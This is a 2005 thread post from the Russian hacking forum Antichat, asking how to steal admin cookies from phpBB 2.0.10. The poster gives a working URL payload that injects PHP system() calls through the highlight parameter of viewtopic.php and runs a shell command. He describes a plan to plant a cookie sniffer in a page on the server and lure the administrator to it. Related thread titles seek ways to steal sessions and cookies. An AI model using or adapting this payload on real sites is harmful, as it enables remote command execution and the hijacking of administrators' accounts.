Возможно ли в phpBB(2.0.10) использовать xss и получить админские куки?

FORUMS

MEMBERS

RECENT POSTS

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Возможно ли в phpBB(2.0.10) использовать xss и получить админские куки?

02.01.2005, 22:08

virgoz

Участник форума

Регистрация: 16.09.2004

Сообщений: 193

С нами: 11393666

Репутация: 47

Цитата:

Ну и увидишь это только ты! Смысл то какой?! Echo ничего не даст!

Я немного не так написал:

Цитата:

viewtopic.php?t=6&highlight=%2527.system($_GET[id]).%2527&id=echo 'test!!!' >> 1.htm

Так я думаю моя идея понятна: Записываем снифер в файл 1.htm, а потом травим адина на эту "Новогоднюю Страничку"

Вопрос в том, почему не пропускаются символы <>.

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
как получить админские сессии в Ipb 2.0.4?	Danya	Уязвимости CMS / форумов	23	10.12.2005 20:23
Как можно получить куки ?	VARVAR	Уязвимости Mail-сервис	9	07.06.2005 02:22

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home